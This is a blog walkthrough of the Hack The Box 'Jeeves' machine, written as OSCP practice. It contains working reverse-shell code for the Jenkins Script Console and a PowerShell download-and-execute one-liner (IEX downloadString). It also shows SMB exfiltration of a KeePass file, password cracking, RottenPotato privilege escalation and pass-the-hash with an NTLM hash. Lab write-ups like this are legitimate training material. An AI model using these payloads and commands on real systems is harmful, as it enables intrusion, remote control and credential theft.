Hack The Box / Jeeves

6 minute read

Welcome! So, before starting with couple ways of getting this box, I want to explain the goal of this and the following posts. After two attempts to pass my OSCP exam (which both attemps failed) I looked the need to practice and explain some of the learning obtained with different machines in Hack The Box, so I decided to make some challenging boxes before my third attempt to the OSCP exam. I chose this list from NetSec Focus in order to improve my penetration testing skills. From this list Jeeves is the first box, so let’s get to it.

oscp list

Information Gathering

Nmap Scan

So, we start with a nmap scan to check what ports are open and what services are running in this machine.

nmap -sC -sV -p- -oN scan.nmap

nmap scan

Looks like we have some HTTP services running in port 80 and 50000. Also we can deduce that the machine is running Windows due to the IIS server. There is a good chance to scan the port 445 which is running a SMB service, but unfortunately the results are not helpful.

smb scan

Directory Brute Force

Then, having HTTP service running in port 80 and 50000 and running dirsearch in both ports, we get some good results in port 50000.

Results from browser and dirsearch running in port 80. browser

python3 dirsearch.py -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php -t 50


Results rom browser and dirsearch running in port 50000.


python3 dirsearch.py -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php -t 50


Bingo! We have something to look at


So, after visitin this page and looking around things, in “Manage Jenkins” there is something interesting called “Script Console”, and after googling around its exploitation we found something useful from Hacking Articles.

Manage Jenkins

Script Console

Reverse Shell

Knowing that we can do some exploitation with the Script Console in Jenkins. There are couple methods to get a reverse shell where I’ll share two.

Reverse Shell - Method #1

After googling around things such as “jenkins language scripting” or “jenkins reverse shell” there is information that says that the langauage used to execute scripts in the console is called “Groovy”. So, from this language the reverse shell obtained came from “frohoff” on github.

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Then, adding this code and replace “localhost” for our IP and cliking “Run” we got a reverse shell!

Reverse Shell #1


NetCat Shell #1

Reverse Shell - Method #2

It keeps the same concept from the Script Console and Groovy Scripting language with the difference and usage of powershell. This method came from IppSec in his video resolving Jeeves, so let’s get it.

So, before attempting this method, the usage of the reverse shell from Nishang and having a simple http server from python is important.

In Nishang we can add Invoke-PowerShellTcp -Reverse -IPAddress -Port 4444 in the last line of code as is shown in the picture below. The reason why adding this line is because at the time to execute the script in powershell we want to invoke the reverse shell to our respective IP with the respective port.


After adding that line of code, we can start our python Simple HTTP Server in our location where we have our nishang script.

python -m SimpleHTTPServer 80


After starting the server we should write and execute the following lines in the Script Console where our order will be to download the nishang script from our local host and executed in the remote machine invoking a reverse shell to our local host.

Groovy code for the Script Console:

cmd = """ powershell IEX(New-Object Net.WebClient).downloadString('') """
println cmd.execute().txt

Powershell script to download the nishang script (might be useful for future machinesツ) :

(New-Object Net.WebClient).downloadString('')


So, wollah!


Getting the user flag

Once the reverse shell is obtained, it is not possible to move back from the directory because we don’t have the privileges to do it due to our location in the administrator folder, but it’s possible to list the files in the current directory, but that not helps too much.

Note: If the reverse shell is obtained through the powershell method we can move back directories with no problem, but can’t list the files in the Administrator folder due to lack of privileges.


Then, we can move directly to the “users” folder with no problem, list the available users and obtain the users flag!

user flag

Getting root flag

To get the root flag there are two ways to get it where one compromises a file that has been gotten from the Documents directory within the user and the other way is using RottenPotato to scalate to root.

Getting root flag - Method #1

In the OSCP exam the chances to use The Metasploit Framework have its limits. To root in this way we are going to use RottenPotato, but without metasploit.

So, we can start navigating through different folders with user privileges where in this case I chose C:\Users\kohsuke\Documents. Once here we can upload a file with a powershell reverse shell that we can transfer from our Kali machine to Jeeves. This file is going to be named shell.bat and it’s going to content the following code:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('',9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

So once this file is created in our Kali machine, it’s time to transfer it to Jeeves using smbserver from impacket. In the Kali Machine we execute:

smbserver SAM ~/htb/coffee/jeeves/


In Jeeves:

copy \\\SAM\shell.bat


Once, our reverse shell has been uploaded to Jeeves, it’s time to upload MSFRottenPotato.exe by the same way how we did it with the shell, using the smb server.

In Jeeves:

copy \\\SAM\MSFRottenPotato.exe


Once we have our reverse shell and MSFRottenPotato.exe files in Jeeves, we can start checking what privileges we have in order to set a parameter before executing MSFRottenPotato.exe. To know the privileges from our machine, we can execute the command:

whoami /priv

Then we see a privilege name that sounds quiet interesting which is SetImpersonatePrivilege and it’s enabled!


Saying that we can use the parameter t with MSFRottenPotato.exe to exploit this privilege, but once we have our shell, MSFRottenPotato.exe, and the privilege name is time to execute the following command which will execute MSFRottenPotato.exe and our rever shell.

MSFRottenPotato.exe t c:\Users\kohsuke\Documents\shell.bat


so we have an authority system shell!


Now it’s time to get the flag.


It was suppose to be a flag in there, but we need to look deeper, so it’s time to figure out how to read the flag. So, after reading another posts and googling around, there is a way to read the flag through Alternative Data Streams . To list this kind of files we can run the command dir /r which will list most of the files, in this case our root.flag


We can’t view the flag with a simple type command, so we must use the command more in order to see the root flag.

more < hm.txt.root.txt


and we got root flag!

Getting root flag - Method #2

After looking around in the directories from the user kohsuke, there is a file in the Documents directory with kdbx extension.


After googling “kdbx extension”, it gave a result saying that extension comes from a password manager called “KeePassX”. So, the idea now is to transfer the file “CEH.kdbx” to our machine. To do this, the usage of the smbserver from impacket will be helpful. This method has been learned from The Cyber Jedi.

From our machine:

smbserver SAM kohsuke 


Before executing any comand in Jeeves, remember to create the folder where you want to transfer the files, in this case the folder name is kohsuke.

In Jeeves:

net use s: \\\SAM

and then

copy CEH.kdbx s:


From the smbserver it’s going to appear the connection made with Jeeves, and in the folder kohsuke will appear the file that we copied from Jeeves.


Now that the file is in the local machine, we can use KeePassX in order to open this file. To install KeePassX in Kali Linux is simple as:

apt-get install keepassx 

Once KeePassX is installed, we can find it in the application menu toolbar.


To open the file that we transfer from Jeeves in KeePassX the steps are:

  1. Click in “Database”
  2. Click in “Open database” or Ctrl + O
  3. Select the location.
  4. Open


Then we need a password. This password can be cracked with “John The Ripper” which will extract a hash from the keypass file using keepass2john. The following command will execute keepass2john to extrack the hash from the file.

keepass2john CEH.kdbx > CEH


This is the hash once is extracted.


Once the file is extracted, we can crack the hash using john and the common wordlist rockyou.txt. To do this we execute the following commands.

john CEH -w:/usr/share/wordlists/rockyou.txt

and then

john CEH --show


After obtaining the password which is monshine1, it is possible to access to the password manager. Once in the password manager and looking around to different passwords, the most interesting is “Backup stuff”.


Information Obtained in “Backup stuff”


The information obtained from here will because is hash NTLM valid for an user. To get access to the machine, there is a technique called “Pass The Hash” where we can get access to the system through a tool called “pth-winexe”.

The following command using pth-winexe will use the Windows NTLM hash to get an administrative command prompt on the target machine.

pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 --system // cmd.exe


After running the command, we got authority system! Now it’s time to get the flag.


and we got root flag!

To Conclude

There are multiple ways and techniques to obtain reverse shells or authority system in this box. Something new that I learned was how to obtain the authority system through Rotten Potato without a meterpreter. Also, from the Script Console there are multiple ways to execute code in the backend of the machine which it was something fun to exploit! I also learned not to hurry with the first attack vector, breath and look for more options.

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